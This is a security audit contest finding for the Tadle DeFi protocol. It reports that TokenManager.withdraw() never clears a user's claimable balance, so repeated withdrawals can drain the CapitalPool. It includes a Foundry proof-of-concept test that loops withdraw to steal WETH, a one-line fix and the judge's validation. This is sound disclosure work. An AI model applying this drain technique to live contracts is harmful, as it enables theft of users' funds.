Tadle
Tadle
DeFiFoundry
27,750 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

a malicious user can withdraw all the assets from the capital pool

dinkras

Summary

A malicious user can withdraw all the assets from the capital pool.

Vulnerability Details

When a user wants to withdraw assets from the protocol, TokenManager.withdraw()

is being called. Internally the function checks what amount the user is able to withdraw.

uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];

The state var userTokenBalanceMapis used to track how much a user can claim for each token and balance type. However claimAbleAmount value is never reduced which leads to that a user is able to withdraw as long as there are assets of a particular ERC20 token in the CapitalPool.

Coded POC

Steps:

1) Before running the test modify TokenManager. There is another bug there(allowance is not updated properly) in the withdraw functionality which prevents the poc from working. This bug will be reported separately.

Changes needed:

TokenManager::_transfer(), modify

- ICapitalPool(_capitalPoolAddr).approve(address(this));
+ ICapitalPool(_capitalPoolAddr).approve(_token);// fixed

2) Paste the file in PreMarkets.t.sol

3) Run: forge test --mt test_infinite_withdraw_POC -vvvvv

function test_infinite_withdraw_POC() external {
// simulate a lot of WETH stored in Capital Pool by previous protocol uses
vm.startPrank(address(capitalPool));
vm.deal(address(capitalPool), 1000 ether);
weth9.deposit{value: 1000 ether}();
​
// an user(attacker) creates an offer with 0.012 ETH
vm.startPrank(user);
uint256 hackerETHBalanceBefore = user.balance;
preMarktes.createOffer{value: 0.012 * 1e18}( // 0.012 ETH in
CreateOfferParams(
marketPlace,
address(weth9),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
​
// another user takes that offer
vm.startPrank(user2);
deal(user2, 1 ether);
preMarktes.createTaker{value: 0.005175 * 1e18}(offerAddr, 500);
vm.stopPrank();
​
// initial offer is aborted by the offer owner(attacker)
vm.startPrank(user);
preMarktes.abortAskOffer(stockAddr, offerAddr);
​
// the attacker drains the capital pool ETH, could do more txs if needed to drain more
for (uint256 i = 0; i < 1000; i++) {
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
}
​
uint256 hackerETHBalanceAfter = user.balance;
console2.log(
"Attacker's stolen ETH: ",
hackerETHBalanceAfter - hackerETHBalanceBefore
);
assertGt(hackerETHBalanceAfter, hackerETHBalanceBefore);
}

Code snippets

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L141-L143

https://github.com/Cyfrin/2024-08-tadle/blob/main/src/core/TokenManager.sol#L247

Impact

A malicious user can steal all the ERC20 assets stored inside CapitalPool

Tools Used

Manual review, foundry

Recommendations

Reduce the claimable amount at the end of TokenManager.withdraw()

+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] -= claimAbleAmount;
Updates

Lead Judging Commences

0xnevi Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.